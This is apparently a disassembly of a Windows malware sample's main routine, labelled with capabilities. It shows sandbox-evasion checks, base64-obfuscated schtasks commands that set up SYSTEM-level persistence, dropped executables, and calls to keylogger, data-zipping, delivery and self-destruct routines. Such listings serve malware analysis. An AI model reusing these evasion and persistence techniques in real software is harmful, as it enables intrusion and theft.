Function at 0x420460
Capabilities:
Execute command
Get session user name

Disassembly:
lea ecx, [esp + 4]
and esp, 0xfffffff0
push dword [ecx - 4]
push ebp
mov ebp, esp
push edi
push esi
push ebx
push ecx
sub esp, 0x258
mov esi, dword [ecx + 4]
call dbg.__main
call sym._check_cpu
test eax, eax
je 0x4209a9
mov dword [esp], str.More_than_4_cpus
call sym._puts
call sym._check_username
test eax, eax
je 0x420991
mov dword [esp], str.user_is_not_admin
call sym._puts
call sym._check_machine_name
test eax, eax
je 0x420979
mov dword [esp], str.machine_name_is_not_DESKTOP
call sym._puts
mov dword [esp + 4], 0x421024
mov dword [esp], 0x447060
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
lea eax, [ebp - 0x22c]
sub esp, 8
mov dword [esp + 4], eax
mov dword [esp], str.ZDc3NHNhLnRtcA
call sym._base64_decode
mov dword [ebp - 0x23c], eax
lea eax, [ebp - 0x228]
mov dword [esp + 4], eax
mov dword [esp], str.M18zM3NfcTcudG1w
call sym._base64_decode
mov dword [esp], str.QXBwRGF0YVxMb2NhbFxQYWNrYWdlc1xNaWNyb3NvZnQuV2luZG93cy5RdWlja3N0YXJ0X24xeWVjdzV3eWgydHg
mov edi, eax
lea eax, [ebp - 0x224]
mov dword [esp + 4], eax
call sym._base64_decode
mov edx, dword [ebp - 0x23c]
mov dword [esp + 0xc], str.AppDataLocalTemp
mov dword [esp + 8], 0x447060
mov ebx, eax
mov dword [esp + 0x10], edx
mov dword [esp + 4], 0x42404f
mov dword [esp], 0x447540
call sym._sprintf
mov dword [esp + 0x10], edi
mov dword [esp + 0xc], str.AppDataLocalTemp
mov dword [esp + 8], 0x447060
mov dword [esp + 4], 0x42404f
mov dword [esp], 0x447740
call sym._sprintf
mov dword [esp + 0xc], 0x447060
mov dword [esp + 8], ebx
mov dword [esp + 4], 0x424238
mov dword [esp], 0x447460
call sym._sprintf
mov eax, dword [esi + 4]
mov dword [esp], eax
call sym._atoi
cmp eax, 8
ja case.0x4205b8.0
jmp dword [eax*4 + 0x424a98]
mov dword [esp], 0x424a85
call sym._printf
call sym._run_separate_log_delivery
lea esp, [ebp - 0x10]
xor eax, eax
pop ecx
pop ebx
pop esi
pop edi
pop ebp
lea esp, [ecx - 4]
ret
mov dword [esp], 0x4247ef
call sym._printf
call sym._run_crawls
test eax, eax
jne 0x4205d0
lea eax, [ebp - 0x220]
mov dword [esp], str.c2NodGFza3MgL2RlbGV0ZSAvdG4gRGF0YVJlc3RvcmVTZXR0aW5ncyAvZg
mov dword [esp + 4], eax
call sym._base64_decode
mov dword [esp], eax
call sym._system
test eax, eax
jne 0x420957
lea eax, [ebp - 0x21c]
mov dword [esp], str.d2luMzJvcC5leGU
lea esi, [ebp - 0x144]
mov dword [esp + 4], eax
call sym._base64_decode
mov dword [esp], str.QXBwRGF0YVxMb2NhbFxQYWNrYWdlc1xNaWNyb3NvZnQuV2luZG93cy5RdWlja3N0YXJ0X24xeWVjdzV3eWgydHg
mov ebx, eax
lea eax, [ebp - 0x218]
mov dword [esp + 4], eax
call sym._base64_decode
mov dword [esp + 0x10], ebx
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0x447060
mov dword [esp + 4], 0x42404f
mov dword [esp], esi
call sym._sprintf
lea eax, [ebp - 0x214]
mov dword [esp], str.c2NodGFza3MgL2NyZWF0ZSAvdG4gIlRvdWNocGFkU3luY1NldHRpbmdzUmVzdG9yZSIgL3NjIG1pbnV0ZSAvbW8gNSAvdHI
mov dword [esp + 4], eax
call sym._base64_decode
mov dword [esp], str.MiAtLWhlYWRsZXNzIiAvUkwgSElHSEVTVCAvcnUgIlNZU1RFTSI
mov ebx, eax
lea eax, [ebp - 0x210]
mov dword [esp + 4], eax
call sym._base64_decode
mov dword [esp + 8], ebx
lea ebx, [ebp - 0x20c]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], esi
mov dword [esp + 4], str._s___s__s
mov dword [esp], ebx
call sym._sprintf
mov dword [esp], ebx
call sym._system
test eax, eax
je 0x420946
mov dword [esp], str.__Reset_schtask_failed
call sym._puts
jmp 0x4205d0
mov dword [esp], 0x424931
call sym._printf
call sym._zip_it
test eax, eax
jne 0x4205d0
lea eax, [ebp - 0x220]
mov dword [esp], str.c2NodGFza3MgL2RlbGV0ZSAvdG4gIlRvdWNocGFkU3luY1NldHRpbmdzUmVzdG9yZSIgL2Y
mov dword [esp + 4], eax
call sym._base64_decode
mov dword [esp], eax
call sym._system
test eax, eax
jne 0x420968
lea eax, [ebp - 0x21c]
mov dword [esp], str.d2luMzJvcC5leGU
lea esi, [ebp - 0x144]
mov dword [esp + 4], eax
call sym._base64_decode
mov dword [esp], str.QXBwRGF0YVxMb2NhbFxQYWNrYWdlc1xNaWNyb3NvZnQuV2luZG93cy5RdWlja3N0YXJ0X24xeWVjdzV3eWgydHg
mov ebx, eax
lea eax, [ebp - 0x218]
mov dword [esp + 4], eax
call sym._base64_decode
mov dword [esp + 0x10], ebx
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0x447060
mov dword [esp + 4], 0x42404f
mov dword [esp], esi
call sym._sprintf
lea eax, [ebp - 0x214]
mov dword [esp], str.c2NodGFza3MgL2NyZWF0ZSAvdG4gIkxvY2FsVXNlckRhdGFTeW5jQXZhaWxhYmxlIiAvc2MgbWludXRlIC9tbyA0MCAvdHI
mov dword [esp + 4], eax
call sym._base64_decode
mov dword [esp], str.MyAtLWhlYWRsZXNzIiAvUkwgSElHSEVTVCAvUlUgIlNZU1RFTSI
mov ebx, eax
lea eax, [ebp - 0x210]
mov dword [esp + 4], eax
call sym._base64_decode
mov dword [esp + 8], ebx
lea ebx, [ebp - 0x20c]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], esi
mov dword [esp + 4], str._s___s__s
mov dword [esp], ebx
call sym._sprintf
mov dword [esp], ebx
call sym._system
test eax, eax
je 0x4205d0
mov dword [esp], str.__create_schtask_failed
call sym._puts
jmp 0x4205d0
mov dword [esp], 0x424a31
call sym._printf
call sym._run_deliveries
test eax, eax
jne 0x4205d0
lea eax, [ebp - 0x144]
mov dword [esp], str.c2NodGFza3MgL2RlbGV0ZSAvdG4gIkxvY2FsVXNlckRhdGFTeW5jQXZhaWxhYmxlIiAvZg
mov dword [esp + 4], eax
call sym._base64_decode
mov dword [esp], eax
call sym._system
test eax, eax
je 0x4205d0
mov dword [esp], str.Remove_schtasks_failed
call sym._puts
jmp 0x4205d0
mov dword [esp], str.45678
call sym._printf
jmp 0x4205d0
mov dword [esp], 0x424a7f
call sym._printf
lea eax, [ebp - 0x20c]
mov dword [esp], str.V2RpTmlzTW9uLmV4ZQ
mov dword [esp + 4], eax
call sym._base64_decode
mov dword [esp], str.QXBwRGF0YVxMb2NhbFxQYWNrYWdlc1xNaWNyb3NvZnQuV2luZG93cy5RdWlja3N0YXJ0X24xeWVjdzV3eWgydHg
mov ebx, eax
lea eax, [ebp - 0x144]
mov dword [esp + 4], eax
call sym._base64_decode
mov dword [esp + 0xc], 0x447540
mov dword [esp + 8], ebx
mov dword [esp + 4], eax
mov dword [esp], 0x447060
call sym._check_keylogger
jmp 0x4205d0
mov dword [esp], 0x424a81
call sym._printf
lea eax, [ebp - 0x20c]
mov dword [esp], str.d2luMzJ1cGRhdGVyLmV4ZQ
mov dword [esp + 4], eax
call sym._base64_decode
mov dword [esp], str.L3Zycy50eHQ
mov ebx, eax
lea eax, [ebp - 0x144]
mov dword [esp + 4], eax
call sym._base64_decode
mov dword [esp + 0xc], ebx
mov dword [esp + 8], str.AppDataLocalTemp
mov dword [esp + 4], 0x447060
mov dword [esp], eax
call sym._check_version
jmp 0x4205d0
mov dword [esp], 0x424a83
call sym._printf
lea eax, [ebp - 0x144]
mov dword [esp], str.L2tta3oudHh0
mov dword [esp + 4], eax
call sym._base64_decode
mov dword [esp], eax
call sym._check_kamikaze
test eax, eax
jne 0x4205d0
call sym._lets_fucking_die
jmp 0x4205d0
mov dword [esp], 0x424a87
call sym._printf
jmp 0x4205d0
mov dword [esp], str.New_schtasks_ok:_TouchpadSyncSettingsRestore
call sym._printf
jmp 0x4205d0
mov dword [esp], str.Remove_schtasks_failed
call sym._puts
jmp 0x420619
mov dword [esp], str.Remove_schtasks_failed
call sym._puts
jmp 0x42071d
mov dword [esp], str.machine_name_is_DESKTOP
call sym._puts
mov dword [esp], 1
call sym._exit
mov dword [esp], str.user_is_admin
call sym._puts
mov dword [esp], 1
call sym._exit
mov dword [esp], str.Less_than_4_cpus
call sym._puts
mov dword [esp], 1
call sym._exit
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop